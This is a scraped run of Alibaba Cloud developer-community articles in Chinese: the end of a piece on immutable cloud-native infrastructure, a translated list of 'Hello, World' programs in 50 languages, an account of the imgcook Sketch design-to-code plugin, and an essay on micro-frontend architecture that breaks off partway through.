        这种场景下的上述更新过程会这么做:一旦应用部署完成之后,那么这套应用基础设施就不会再修改了。如果需要更新,那么需要现更改公共镜像来构建新服务直接替换旧服务。而我们之所以能够实现直接替换,就是因为容器提供了自包含的环境(包含应用运行所需的所有依赖)。所以对于应用而言,完全不需要关心容器发生了什么变化,只需要把容器镜像本身修改掉就可以了。因此,对于云友好的基础设施是随时可以替换和更换的,这就是因为容器具有敏捷和一致性的能力,也就是云时代的应用基础设施。
         
        所以,总结而言,云时代的基础设施就像是可以替代的“牲口”,可以随时替换;而传统的基础设施则是独一无二的“宠物”,需要细心呵护,这就体现出了云时代不可变基础设施的优点。
         

        基础设施向云演进的意义

        image.png


        所以,像这样的基础设施向“不可变”演进的过程,为我们提供了两个非常重要的优点。

          1. 基础设施的一致性和可靠性。同样一个镜像,无论是在美国打开,在中国打开,还是在印度打开都是一样的。并且其中的 OS 环境对于应用而言都是一致的。而对于应用而言,它就不需要关心容器跑在哪里,这就是基础设施一致性非常重要的一个特征。
          1. 这样的镜像本身就是自包含的,其包含了应用运行所需要的所有依赖,因此也可以漂移到云上的任何一个位置。


        此外,云原生的基础设施还提供了简单、可预测的部署和运维能力。由于现在有了镜像,应用还是自描述的,通过镜像运行起来的整个容器其实可以像 Kubernetes 的 Operator 技术一样将其做成自运维的,所以整个应用本身都是自包含的行为,使得其能够迁移到云上任何一个位置。这也使得整个流程的自动化变得非常容易。


        应用本身也可以更好地扩容,从 1 个实例变成 100 个实例,进而变成 1 万个实例,这个过程对于容器化后的应用没有任何特殊的。最后,我们这时也能够通过不可变的基础设施来地快速周围的管控系统和支撑组件。因为,这些组件本身也是容器化的,是符合不可变基础设施这样一套理论的组件。
         
        以上就是不可变基础设施为用户带来的最大的优点。
         

        2019 年——云原生技术普及元年


        为什么说 2019 年很可能是一个关键节点呢?我们认为 2019 年是云原生技术的普及元年。
         
        首先大家可以看到,在 2019 年,阿里巴巴宣布要全面上云,而且“上云就要上云原生”。我们还可以看到,以“云”为核心的软件研发思想,正逐步成为所有开发者的默认选项。像 Kubernetes 等云原生技术正在成为技术人员的必修课,大量的工作岗位正在涌现出来。


        这种背景下,“会 Kubernetes”已经远远不够了,“懂 Kubernetes”、“会云原生架构”的重要性正日益凸显出来。 从 2019 年开始,云原生技术将会大规模普及,这也是为什么大家都要在这个时间点上学习和投资云原生技术的重要原因。


        image.png


        阿里云和 CNCF 联合发布了《云原生技术公开课》,希望通过 29 节课程设置让开发者对云原生有全局的认知。

        阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。

        ]]>
        50种不同编程语言的“Hello, World”,你会写几种?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文经授权转自公众号CSDN(ID:CSDNnews)

        作者:Sylvain Saurel

        译者:风车云马,责编:屠敏

        image.png
        当我们学习一门编程语言时,都是从“Hello, World!”开始。所有程序员在其职业生涯中,都至少接触过一个经典的“Hello, World!” 程序。通常程序员会使用多种编程语言,多的甚至实现了十几种。

        还有一种称为TTHW(Time to “Hello, World!”)的方法,来衡量程序员创建一个新的“Hello, World!”程序的时间。

        你可以用多少种不同的语言编写一个“Hello, World!”程序,你的答案是什么?

        让我们在计算机编程的世界里回顾一翻。我会向你展示50种不同编程语言编写的“Hello, World!”程序。同时让你看到计算机编程语言随时间的演变。

        01 汇编语言- 1949

        汇编语言创建于1949年。下面我介绍一种经典的汇编语言,适用于Intel 8080 8位处理器,该处理器后来在1974年4月正式推出。

        bdos    equ    0005H    ; BDOS entry point
        start:  mvi    c,9      ; BDOS function: output string
                lxi    d,msg$   ; address of msg
                call   bdos
                ret             ; return to CCP
        
        msg$:   db    'Hello, world!$'
        end     start

        02 Fortran - 1957

        Fortran编程语言是Formula Translation的派生。它是一种汇编命令式程序设计语言,特别适合于数值计算和科学计算。Fortran语言创建于1957年,用这种语言写的“Hello, World!”:

        PROGRAM Hello
        WRITE (*,*) 'Hello, World!'
        STOP
        END

        在Fortran 90或95版本中,程序“Hello, World!”可以这样写:

        PROGRAM Hello
        WRITE (*,*) 'Hello, World!'
        END PROGRAM Hello

        03 Lisp - 1958

        Lisp是最古老的命令式和函数式编程语言。它最初创建于1958年,在20世纪70年代和80年代,Lisp最终成为人工智能世界中非常流行的语言。

        (write-line "Hello, World!")

        04 Cobol - 1959

        Cobol编程语言于1959年正式创建,2019年刚刚60周年。Cobol是COmmon Business Oriented Language的缩写,它原本是一种用于编写业务应用程序的公共语言。到2019年,Cobol仍然广泛应用于银行和保险领域。

        IDENTIFICATION DIVISION.
        PROGRAM-ID. HELLO-WORLD.
        PROCEDURE DIVISION.
            DISPLAY "Hello, World!"
            STOP RUN.

        05 BASIC - 1964

        BASIC是Beginner’s All-purpose Symbolic Instruction Code的首字母缩写,它是一种高级编程语言,其主要特点是易用性。

        PRINT "Hello, World!"
        END

        06 Logo - 1968

        Logo是为了更容易使用Lisp语言,经常被称为“Lisp without brackets”。具体来说,Logo是一种面向对象的编程语言。

        print [Hello World !]

        07 B - 1969

        创建于1969年的B语言现在已经过时了,但它仍然扮演着重要的角色,因为它激发了C语言的灵感,而C语言至今仍被广泛使用。

        main()
        {
          putstr("Hello world!*n");
          return(0);
        }

        08 Pascal - 1970

        Pascal是创建于1970年的命令式编程语言。它是为教学目的而设计的,其特点是语法清晰、严谨,有助于良好的程序结构。

        begin
          writeln('Hello, World!')
        end.

        Turbo Pascal创建于1983年,是Pascal编程语言的集成开发环境。它在20世纪80年代和90年代取得了巨大的成功。

        program HelloWorld(output);
        begin
          writeln('Hello, World!');
          readln;
        end.

        09 Forth - 1970

        Forth是一种基于命令式的计算机编程语言,由Charles H. Moore于20世纪60年代发明,其第一个版本于1970年发布。它在1994年被ANSI标准化,并在1997年被ISO采用。

        : HELLO  ( -- )  ." Hello, World!" CR ;
          HELLO

        10 C - 1972

        C语言是1972年在贝尔实验室发明的,当时丹尼斯·里奇(Dennis Ritchie)和肯·汤普森(Ken Thompson)正在开发UNIX。Ken Thompson之前开发了B语言。Dennis Ritchie决定从B语言中获得灵感,通过添加类型来创建C语言。

        #include <stdio.h>
        
        int main(void) {
          printf("Hello, World!n");
          return 0;
        }

        11 Smalltalk - 1972

        特别是受到Lisp语言的启发,Smalltalk是一种面向对象、自反性和动态类型的编程语言,发明于1972年。Smalltalk是最早拥有集成开发环境的编程语言之一。

        Transcript show: 'Hello, world!'; cr.

        12 Prolog - 1972

        Prolog是一种与人工智能和计算语言学相关的逻辑编程语言。Prolog创建于1972年。

        :- write('Hello, World!'),nl.

        13 ML - 1973

        ML是一种基于Lisp的函数式编程语言。

        print "Hello, World!n";

        14 Scheme - 1975

        Scheme创建于1975年,是一种支持函数式和命令式编程的多范式编程语言。这是基于Lisp的三大语言之一,另两种是Common Lisp和最近创建的Clojure。

        (display "Hello, World!") (newline)

        15 SQL - 1978

        SQL(Structured Query Language)结构化查询语言,是一种用于操作关系数据库的标准化计算机语言。它也可以设计“Hello, World!”。

        CREATE TABLE message (text char(15));
        INSERT INTO message (text) VALUES ('Hello, World!');
        SELECT text FROM message;
        DROP TABLE message;

        16 C++ - 1980

        最初在1980年由Bjarne Stroustrup以C和类的名义创建,后来在1983年以c++语言命名。c++编程语言现在已被ISO标准化,并广泛应用于工业和其他领域。

        #include <iostream>
        using namespace std;
        
        int main() {
          cout << "Hello, World!" << endl;
          return 0;
        }

        17 Ada - 1983

        Ada是一种面向对象的编程语言,于1980年初开发,1983年正式发布。“Ada”这个名字是为了纪念Ada Lovelace,她是有史以来第一位女计算机科学家。

        Ada通常用于高可靠性和安全性的实时和嵌入式系统。

        with Ada.Text_IO;
        procedure Hello is
        begin
           Ada.Text_IO.Put_Line ("Hello, World!");
        end Hello;

        18 Common Lisp - 1984

        Common Lisp,通常缩写为CL,是由ANSI标准化的Lisp语言规范。

        (princ "Hello, World!")

        19 MATLAB - 1984

        MATLAB,用于“矩阵实验室”,是一种用于数值计算的脚本语言。MATLAB的开发环境也叫这个名字。

        disp('Hello, World!')

        20 Eiffel - 1985

        Eiffel是一种面向对象的编程语言。Eiffel基于当今非常流行的概念,如契约编程或重用。

        class
            HELLO_WORLD
        create
            make
        feature
            make
                do
                    print ("Hello, world!%N")
                end
        end

        21 Objective-C - 1986

        Objective-C是一种自反的面向对象编程语言。它是C编程语言的扩展,与c++类似,但在动态消息分发或动态加载方面与c++有很大的不同。

        如今,它主要用于苹果的操作系统:macOS及其iOS衍生产品。

        #import <Foundation/Foundation.h>
        
        int main() {
            @autoreleasepool {
                NSLog(@"Hello, World!");
            }
        }

        22 Erlang - 1986

        Erlang编程语言支持几种范例:并发、实时、分布式。它基于actor模型,具有容错和热更新功能,能够开发高可用性应用程序。

        io:format("Hello world!~n").

        23 Perl - 1987

        Perl是Larry Wall在1987年创建的一种编程语言,用于轻松地处理基于文本的信息。Perl是一种解释语言,它受到C语言的控制和打印结构的启发,也受到shell脚本语言的启发。

        print "Hello, World!n";

        24 Caml - 1987

        Caml是Categorical Abstract Machine Language的缩写,是一种面向程序安全性和可靠性的通用编程语言。Caml支持函数式、命令式和面向对象的编程风格。它也是一种非常独特的语言。

        print_string "Hello, World!n";;

        25 Tcl - 1988

        Tcl是工具命令语言,是John Ousterhout在1988年开发的一种脚本语言。这种动态类型语言是跨平台的、可扩展的、易于学习的,并且基于12条语法规则。Tcl很容易与C编程语言进行交互。

        1990年,John Ousterhout为Tcl开发了一个名为Tk的扩展,这是一个用于创建可移植图形界面的库。因此,今天提到Tcl时,更多的是指Tcl/Tk的组合。

        puts "Hello, World!"

        26 Haskell - 1990

        Haskell是一种基于lambda计算和组合逻辑的函数式编程语言。

        main = putStrLn "Hello, World!"

        27 Python - 1991

        Python是一种解释性编程语言,具有多范式、多平台的特点。Python支持结构化、函数式和面向对象的命令式编程。这些年来,Python变得非常流行,甚至在2019年成为最受欢迎的语言之一。

        Python 3.0或更高版本中的“Hello, World!”:

        print("Hello, World!")

        28 Visual Basic - 1991

        Visual Basic,简称VB,是第三代事件编程语言,是微软为其COM编程模型创建的集成开发环境。

        Public Sub Main()
            Debug.Print "Hello, World!"
        End Sub

        29 Lua - 1993

        Lua创建于1993年,是一种自反的命令式脚本语言,用于嵌入其他应用程序以扩展功能。

        print("Hello, World!")

        30 Ruby - 1995

        Matsumoto Yukihiro由于对自己的Smalltalk和Lisp开发经历感到失望,于1993年开始在Emacs下设计Ruby语言。他在1995年发布了第一版。Ruby是解释型的、面向对象的、多范式的编程语言。

        puts 'Hello, World!'

        31 Java - 1995

        Java是James Gosling在1995年创建的一种面向对象的编程语言,至今仍是业界最流行和使用最多的语言。Java允许完成客户机到web应用程序的所有工作,而谷歌将其作为Android移动操作系统上开发应用程序的语言,进一步扩展了它的功能。

        class HelloWorld {
          public static void main(String[] args) {
            System.out.println("Hello, World!");
          }
        }

        32 JavaScript - 1995

        JavaScript是一种脚本编程语言,主要用于Web,但现在可以在服务器端使用Node.js等。JavaScript是一种面向原型的编程语言。

        document.write('Hello, World!');

        33 PHP - 1995

        就编程语言而言,1995年无疑是极其重要的一年,因为在Java和JavaScript之后,PHP也在这一年诞生。PHP主要用于Web,是一种面向对象的命令式语言,可以像其他解释语言一样在本地工作。

        <? echo "Hello, World!" ?>

        34 Rebol - 1997

        Rebol是一种高级脚本编程语言,它建立在denotational语义的基础上,自称为“消息传递语言”。这是一个“Hello, World!”:

        print "Hello, World!"

        35 ActionScript — 1998

        ActionScript是一种用于客户端应用程序(如Adobe Flash和Adobe Flex)和服务器(Flash media server、JRun、Macromedia Generator)的编程语言。ActionScript在Unity graphics中用作脚本语言。

        package {
          public class HelloWorld {
            public function HelloWorld() {
              trace("Hello World !");
            }
          }
        }

        36 D - 1999

        D是一种命令式的面向对象和多范式的编程语言。D的灵感来自许多语言,包括c++、Java和Eiffel。尽管D有很多优点,但它还未取得创造者所期望的那样成功。

        import std.stdio;
        
        void main () {
          writefln("Hello, World!");
        }

        37 C# - 2000

        c#是微软在2000年与Sun就Java语言发生争执后创建的。c#是一种面向对象的编程语言,用于在Microsoft上开发。该语言派生于c++和Java,使用它们的一般语法和一些概念。c#也可以用于开发ASP上的web应用程序。

        using System;
        
        internal static class HelloWorld {
          private static void Main() {
            Console.WriteLine("Hello, World!");
          }
        }

        38 Groovy - 2003

        Groovy是一种运行在Java平台上的面向对象编程语言。Groovy是Java语言的替代品,它的灵感来自Python、Ruby或Smalltalk。

        println "Hello, World!"

        39 Scala - 2003

        Scala是一种多范式编程语言,旨在以简洁优雅的形式表达常见的编程模型。Scala通过静态类型集成了面向对象和函数式编程的范例。

        object HelloWorld extends App {
          println("Hello, World!")
        }

        40 F# - 2005

        f#是一种函数式、命令式和面向对象的编程语言,由Microsoft开发。f#源自与之高度兼容的OCaml编程语言。这两种编程语言与ML语言属于同一语系。

        printfn "Hello, World!"

        41 Windows PowerShell - 2006

        Windows PowerShell是微软开发的一套软件,包括一个命令行界面、一种称为PowerShell的脚本语言和一个开发工具包。从Windows 7开始PowerShell作为标准语言。

        echo "Hello, World!"

        42 Clojure - 2007

        Clojure是一种经过编译的跨平台函数式编程语言,旨在创建安全且易于分发的程序。Clojure是基于Lisp的三大语言之一。Clojure可以转换为Java代码、JavaScript代码和. net代码。因此,Clojure可以在JVM、CLR、浏览器和Node.js上使用。

        (println "Hello, World!")

        43 Go - 2009

        Go是一种经过编译的并发式编程语言,灵感来自C和Pascal。这种语言是由谷歌从Robert Griesemer、Rob Pike和Ken Thompson(他在1969年创造了B语言)最初提出的概念发展而来的。

        package main
        
        import "fmt"
        
        func main() {
          fmt.Println("Hello, World!")
        }

        44 Rust - 2010

        Rust是由Mozilla设计和开发的多范型编译的编程语言。Rust是“一种安全、并发、实用的语言”,同时支持纯函数式编程风格、actor模型、过程式编程以及面向对象编程。Rust常被称为c++的潜在继承者之一。

        fn main() {
            println("Hello, World!");
        }

        45 Dart - 2011

        Dart是一种由谷歌开发的web编程语言。它最初的目的是取代JavaScript。目前,Dart还没有达到它的目标,开发人员的首要任务是将Dart转换成与所有现代浏览器兼容的JavaScript代码。Dart也可以用于服务器端编程。

        Dart是Flutter用于开发移动应用程序的语言。

        main() {
          print('Hello, World!');
        }

        46 Kotlin — 2011

        Kotlin是一种面向对象的函数式编程语言,具有静态类型,允许在Java虚拟机、JavaScript和本地的多种平台进行编译。2017年,谷歌使Kotlin成为继Java之后Android官方支持的第二种编程语言。

        fun main(args: Array<String>) {
            println("Hello, World!")
        }

        47 Ceylon - 2011

        Ceylon由Red Hat创建,是一种高级开放源码编程语言,具有强类型和静态类型。它的语法与Java相似。它可以编译为Java或JavaScript。

        void hello() {
            print("Hello, World!");
        }

        48 TypeScript - 2012

        TypeScript是一种免费的开源编程语言,由微软开发,旨在提高JavaScript代码的安全性。TypeScript语言是JavaScript的一个超集,它被转换成JavaScript,这样任何web浏览器或JavaScript引擎都可以应用。

        console.log("Hello, World!");

        49 Julia - 2012

        Julia是一种用于科学计算的高级、强大和动态编程语言,其语法为其他类似开发环境(如MATLAB、R或Python)的用户所熟悉。

        println("Hello, World!")

        50 Swift - 2014

        Swift是一种经过编译的、多范式的对象编程语言,其设计目标是简单、高性能和安全。它是由苹果公司开发的开源软件,从而与Objective-C一起成为开发移动iOS应用程序的解决方案。

        print("Hello, World!")

        结论

        通过这次时间旅行,用50种不同语言编写了“Hello, World!”程序,向人们展示了70年来计算机编程语言的变迁。

        原文:
        https://medium.com/javarevisited/70-years-of-hello-world-with-50-programming-languages-2400de893a97

        ]]>
        前端代码是怎样智能生成的-智能插件篇-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 概述

        在一个常见的开发周期中往往遵循着产品需求到交互稿到设计稿再到前端开发的过程。所以在 Design2Code (简称D2C) 项目过程中,设计师负责来设计产品视觉效果和产出视觉设计稿,而前端开发工程师以设计稿为输入进行开发。 所以同样地,在前端智能化的过程中,我们需要一种能自动解析设计稿信息的能力来替代传统的人工分析和抠图等繁琐的工作。同时,随着近几年主流设计工具(Sketch、PS、XD 等)的三方插件开发能力逐渐成熟,借助官方提供的 API 能够比较好得还原一些基本的结构化信息和样式信息,从而完成对设计稿原始信息的提取。在此篇文章中,我们将以前端智能化的落地产品 imgcook 的 Sketch 插件为例子,详细介绍我们是如何通过插件对设计稿做处理,最终导出以绝对布局为基础的元素信息,供下游布局算法使用。

        所在分层

        如图所示,链路中的第一层为物料识别层,设计稿将作为这一层的输入。这一层主要是用来识别页面和模块中包含的物料的,比如对基础组件,业务组件和基础控件的识别,从而辅助进行页面分割并对下游输入关于某一元素的相关信息。随后,设计稿的原始信息 (文件) 将会进入到图像处理层,这一层主要是通过这篇文章所介绍的插件实现,因为插件可以注入到 Sketch 或者 Photoshop 等设计工具中从而借助官方提供的一些能力完成对原始设计稿信息的提取。这一层提取的结果将是一个符合 imgcook 规范的 JSON 结构的数据,内容主要是提取出所有元素的相关信息,包含元素的绝对位置和 CSS 可表达的属性,最终可以理解以绝对定位为基础的模块和页面。同时,由于不同设计师可能遵循一些不同于传统前端开发的规范来组织设计稿的图层和结构,在图像再加工层中我们还将借助计算机视觉和智能化的能力对原始设计稿中出现的图层再加工。例如过滤掉一些无用的图层或是合并一些可以当作一个整体的图层等。

        image.png
        (D2C 技术能力分层)

        技术选型

        如图所示,在对接原始设计稿和获取原始设计稿信息的过程中,我们主要是使用了 Sketch 官方提供的 JS API 进行开发,对于一些官方没有包装 JS 接口的功能,我们借助于 CocoaScript 对原始 Objective-C 接口进行调用。同时,我们使用了 Webview 技术可以使用前端技术栈来渲染插件界面。我们采用 Skpm Sketch 的插件管理工具的脚手架能力和插件发布能力。

        image.png
        (插件技术选型示意图)

        插件图层处理

        image.png
        (插件图层处理流程)

        总体流程

        如结构图所示,imgcook Sketch 插件将读取设计稿,按 Depth-first Search (DFS) 的方式循环遍历所有类型的图层,提取图层的基本信息,包括位置和大小。值得注意的是由于 Sketch 里 Symbol 的概念相当于它的 Symbolmaster 的子类,可以覆盖它的 Symbolmaster 的部分属性,所以对于 Symbol 类型的图层,我们要找到它的 Symbolmaster,提取相关信息。之后我们会对所有会被蒙层影响的或者被其他图层覆盖的元素打标,因为这两者会影响到当前图层的视觉输出。之后因为各个类型具体的所拥有的样式不相同,我们会对 Shape, Image, Text 和其他图层分别做处理,把相关的 Sketch 属性转化为 CSS 理解的形式。我们对设计师约定了一些设计协议,可以通过在设计稿中不同的命名给图层指定为成组或者组件,同时带出相关组件信息。下面我们挑取这个过程中两个值得注意的难点进行分别讲解。

        蒙层处理

        在 Sketch 里蒙层的作用是相当于一个底板,所有在结构上位于其之上的图层如果区域超出了蒙层,这部分超出的区域就会被截断。对于蒙层的处理主要有以下几个不同于正常图层的点:

        • 由于在 HTML 和 CSS 领域并没有直接对应的概念,蒙层并不能直接导出相关 CSS 属性或者 HTML 属性
        • Mask 图层不但会影响自己本身的处理,也会影响其他图层的视觉,所以遇到 Mask 需要多图层一起处理
        • 由于 Mask 的形状可能是不规则形状,所以需要考虑如何判断合理的区域进行截断

        针对以上难点和精准还原视觉的目的,我们开发了一套算法计算 Mask 和其影响的所有图层的区域计算和形状计算,针对区域规则且形状规则的做 CSS 属性上的常规截取处理,对于无法使用 CSS 属性表示的情况对 Sketch 视觉可见的区域进行截图处理。其中,我们会进行无用图层检测,如果一个图层在它的 Mask 区域之外,则此图层将被视为无用图层被删除,同时,如果一个图层完全在它的 Mask 区域内,则此图层不会被 Mask 影响,按照原有逻辑处理。

        智能文字位置校准

        相对于其他诸如 Shape 和 Image 图层的处理, 文字图层会更复杂一点,原因主要有:

        • 对于 Shape 和 Image 的每一个图层,我们往往也只需要对应导出一个节点,这个节点包括位置和样式等属性,但是对于文字图层,如果包含多样式,比如颜色,字号,行高等不同,则需要将一个文字图层拆分为多个节点导出
        • Sketch 有定宽类型的文本框,但是对于 HTML 中 span 等标签为行内元素,没有宽度等信息,所以需要对 Sketch 中的多行文本做拆分
        • 目前 Sketch 中文字图层想要得到位置和样式,需要依赖导出的 SVG 信息,而 SketchSVGExporter 接口导出的 SVG 信息经常出现位置不准的情况

        针对第一个问题,我们对 SVG 信息进行循环检测,判断每个 SVG 子节点是否有 CSS 相关的属性发生了变化,如果有变化,就会新建立一个子节点存储相关信息。针对第二个问题,我们会对定宽的文本框导出准确的宽度信息还有行数信息,布局算法会针对此信息作出正确的判断。重点来讲一下第三个问题,由于 svg 信息在对于富文本的情况下会不准确的情况,我们设计了一套基于计算机视觉的算法会对文本框的基线进行矫正,整体流程如下:

        • 对文字图层进行检测是否存在富文本文本框
        • 由于在 Sketch 里单个文本框不同样式的文本基线一定在一条水平线上,我们的校准目标便是基于此。首先我们会对当前文本框做截图处理
        • 借助 OpenCV 库分析截图
        • 使用 Canny 边缘检测,分析出字体轮廓,确定基线位置
        • 计算不同样式的文本之间的基线位置差
        • 传回插件关于位置差的信息,插件对位置以最大字体为基准进行矫正

        图层再加工

        智能图层合并

        设计稿的图层和前端开发之间还有一个差异就是图层合并的问题。往往设计师关注的焦点是能否在设计稿中实现想要的视觉效果,而不会像前端工程师一样关注元素结构和嵌套的合理性。所以有时候在设计稿中,设计师为了实现一个诸如 icon 或者氛围图等视觉效果时,会使用若干的小图层拼接起来,但是从结构角度来讲,这个拼接起来的图形应该是一个整体,在这种情况下我们就需要合并图层(将若干个图层作为一个图层,截图导出)。我们实现了一套自动合并图层的算法,算法会自动检测一个组下是否有若干个应该被合并的图层,然后自动在导出的过程中合并,以便后续链路可以处理结构。

        无用图层检测

        在设计稿中,设计师有时会添加一些对最终布局和视觉没有影响的图层,为了结构的合理性和精简性,我们需要对这部分图层进行筛除。如下的情况下图层会被处理:

        • 如果有两个 Image 图层视觉是一样的但是引用的 url 不同,则统一到相同的 url
        • 如果图层没有 backgroundImage, backgroundColor 和 borderWidth 属性,则图层没有视觉效果,直接过滤掉
        • 如果有无某图层没有对图像矩阵产生影响,则过滤掉此图层
        • 如果图层被非透明图层覆盖,则过滤掉此图层
        • 如果有透明区域小于某个阈值的图片,则过滤掉此图层

        插件测试和度量

        单元测试体系

        由于 Sketch 插件是 imgcook智能生成代码体系的上游,在每一次代码更改和发布之前,需要对插件做严格的测试以确保功能可用,所以我们使用 Skpm-Test, 一个 Skpm 体系下的类 Jest 测试框架建立了单元测试体系,覆盖率达到 95%左右。

        绝对定位布局查看

        如之前讲到的,Sketch 插件导出的信息是包含每个子节点的绝对定位的位置和相关的 CSS 属性,每个节点的属性和类型和 HTML 一一映射,所以我们可以将导出 JSON 直接转化为 HTML + CSS 查看导出效果,使用者可以直接通过 https://imgcook.taobao.org/design-restore 粘贴导出的 JSON 查看效果

        视觉还原度量体系

        image.png
        (插件视觉度量流程)

        我们借助计算机视觉处理库 OpenCV 开发了一套算法用于衡量导出的 JSON 数据是否完全还原了原设计稿的视觉效果。
        OpenCV 计算视觉还原分数主要分为以下几个步骤

        • 图层预处理

          • 如果原始图像和导出图像大小不一致,重置到相同大小
          • 将图像转成灰白图
        • 图层对比主逻辑

          • 分析导出的 JSON 信息,对 JSON 里每个子元素进行如下操作:
          • 获取子元素的宽高和位置: x, y, w, h
          • 记录此元素的内部有多少子元素和横跨的元素
          • 对于每个子元素,取出原设计稿图相对应的区域
          • 模版匹配:使用 OpenCV 模版匹配找出此区域在总还原图中的位置和相似度
          • 如果有元素跨越了此元素并且那个元素已经被处理过,则忽略此元素
          • 如果此元素有子元素并且子元素已经被处理过,则忽略此元素
        • 处理完成导出 JSON
        • JSON 元素集合的一个数组,对于每个数组中的元素有如下属性

          • originPosition: 原始设计稿此元素的位置
          • exportPosition: 导出图层此元素的位置
          • similarity: 导出图层和原始设计稿相似度
          • width: 原始宽度
          • height: 原始高度

        可以看出,我们通过计算机视觉已经分析出了每个图层的原始位置和还原后的位置,同时度量了每个图层的相似度,综合的度量分数应该综合考虑以下三个指标:

        • 总图层数量
        • 还原图层相似度
        • 还原图层的位置

        从这三个指标出发,我们设计如下公式计算还原度:

        image.png

        其中 P 表示 restore 分数, n 表示图层的总数量,image.png表示第i个还原图层和第 i 个原始图层的相似度,image.png表示第 i 个还原图层和原始图层 x 方向位移差,x 表示总宽度,image.png表示第 i 个还原图层和原始图层 y 方向位移差,y 表示总高度。使用此公式,如果全部图层都完全没有被还原(相似度为 0,x 位移为宽度,y 位移为高度),则 P = 0, 如果全部图层都完美还原(相似度为 1, x 位移为 0, y 位移为 0 ),则 P = 1,所以我们可以较为精准的度量视觉还原程度。

        未来展望

        去规范继续升级

        目前我们出了一些设计协议要求设计师按照一定的规范来制作设计稿,以便可以达到更好的还原效果;对设计稿的约束规范曾经高达 20+ 条,我们通过智能图层加工层去掉了大部分规范,目前主要剩下 3 条约束,接下来,我们将进一步通过智能化的手段逐步的去掉这些对设计师和前端的约束,达到 0 约束还原。

        还原能力升级

        我们将在未来的 Sketch 版本中继续提高 Sketch 插件的视觉还原度,目前阶段根据度量体系 Sketch 还原的能力平均在 95% 左右,我们将在之后的版本中继续提高这个能力。

        还原效率升级

        目前由于在插件中设计到大量的极速过程,导致导出速度有的时候不尽理想,我们也对这个问题进行了一定的调研,发现目前插件的确是在处理多图层,尤其是包含多张图片上传的场景速度比较慢,未来我们也会对还原速度进行一次大幅度的升级。
        在科技飞速发展的今天,前端智能化的浪潮已经到来,未来一些简单的、重复性、规律性强的开发一定会逐渐地被机器取代,在这样的过程中,机器对设计稿的理解也一定会更上一个台阶。我们也会保证插件在未来达到更高的智能化水平,从而准确地理解设计师的意图从而更好的为前端服务!


        产品官网:https://www.imgcook.com 欢迎加入钉钉群一起交流。

        image.png


        阿里经济体前端委员会前端智能化共建项目组
        淘系 D2C 团队、淘宝商家与开放团队、UC 团队、闲鱼团队、拍卖团队、优酷团队、CCO 团队、营销零研发全链路智能化业务落地团队、淘宝设计部团队

        ]]>
        拥抱云时代的前端开发架构—微前端-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        image.png

        微前端的价值

        阿里云提供的很多商业化产品和服务,本质上是对外提供「能力」,普惠中小企业。目前,能力输出主要是通过 OpenAPI,用以集成到企业自己的业务场景中,这里主要解决的还是企业底层的能力问题——无需雇佣算法工程师,就可以拥有语音、图像识别等能力。安全也是一样,不需要找安全专家,普通的工程师就可以通过控制台高效地处理各种安全事件。但是,随着云技术不断的下沉,与产业结合的越来越紧密,OpenAPI 唯有把粒度做得越来越细,才能满足各种各样的业务场景,但同时企业侧的学习成本和开发复杂度自然就上去了。控制台做为管(理)控(制)这些能力的工具,目前也只能算是「标品」,必须为了满足不同体量、不同业务特点的需求,灵活地组合和部署,就像是用户自己开发的一样。

        综上所述,微前端的价值有 3 点:

        1. 解决产品侧的扩展性和组合性。化整为零,自由组合。
        2. 解决能力输出的「最后一公里」。
        3. 云生态中的「新物种」 — 微应用。

        如果微前端只存在工程上的价值,那它是不值得大张旗鼓去做的。

        我认为,前端团队需要在这个方面做出业务价值。如果你问我 Ant Design 有什么技术价值?它的价值就是有大量的企业在用,形成某种能力依赖,不需要找设计师或者多么资深的前端工程师,就可以做出看上去很专业的后台界面。
        在这条价值链路上,OpenAPI 太底层,控制台不灵活,UI 库太通用。其中的空白点是绑定能力的商业化组件。举个例子,企业的后台管理页上,可以直接 inside 一个「漏洞管理」的微前端应用,和一个 DataV 的微前端应用展示数据,只需要简单配一下即可,不用开发,就能做到“就像自己开发的一样”。反过来也一样,ISV 在阿里云的产品平台上,不仅可以通过小程序的形式,也可以通过微前端应用的形式输入自己的服务。

        微前端的问题域

        简单地说,搞微前端目的就是要将产品原子化(跟原子化的 OpenAPI 一个道理),再根据客户业务场景组合。每个功能模块能单独迭代,自由集成当然好,但维护成本怎么控制。怎么调试、公共组件版本控制、众多同窗微应用之间怎么“合谐相处”等等。微前端并非只是解决在页面上异步加载一个模块就完事了,更多的是将改造引发的一系列问题需要通过体系化的方案解决,否则就变成反生产力工具。

        目前,阿里的微前端方案有 qiankun(乾坤)、Magix、icestack、以及内部很多的微前端解决方案。或多或少都带有一些自身的业务特色,没有明确提出标准,或者明确定义微前端的技术体系到底包含哪些内容。这方面有项目落地的团队真应该再进一步瞄准更高的价值点做,同时广泛交流,这样才能更快得出标准化的东西。我们团队也在实践中,这里我抛出一些开放性问题讨论。

        首先必须明确微前端不是框架、不是工具/库,而是一套架构体系,它包括若干库、工具、中心化治理平台以及相关配套设施。

        微前端包括 3 部分:

        1. 微前端的基础设施。这是目前讨论得最多的,一个微应用如何通过一个组件基座加载进来、脚手架工具、怎么单独构建和部署、怎么联调。
        2. 微前端配置中心:标准化的配置文件格式,支持灰度、回滚、红蓝、A/B 等发布策略。
        3. 微前端的可观察性工具:对于任何分布式特点的架构,线上/线下治理都很重要。

        微前端具体要解决好的 10 个问题:

        1. 微应用的注册、异步加载和生命周期管理;
        2. 微应用之间、主从之间的消息机制;
        3. 微应用之间的安全隔离措施;
        4. 微应用的框架无关、版本无关;
        5. 微应用之间、主从之间的公共依赖的库、业务逻辑(utils)以及版本怎么管理;
        6. 微应用独立调试、和主应用联调的方式,快速定位报错(发射问题);
        7. 微应用的发布流程;
        8. 微应用打包优化问题;
        9. 微应用专有云场景的出包方案;
        10. 渐进式升级:用微应用方案平滑重构老项目。

        通过问题理解问题是一种思考方式,相信大家能沟通通过微前端三大组成部分和它要解决的 10 个问题,能够有一个大概的理解。下面,看一下我归纳的微前端的架构体系(如图):

        image.png

        通过上图,很明显的看出前后端分工,以及线上微应用相关配置流程。整体运行环境以及开发流程是非常复杂的,留到大会的时候再详细讲解。

        微前端的基本原理

        如下图所示,微前端的工程化是从传统前端工程化体系升级上来的。

        image.png

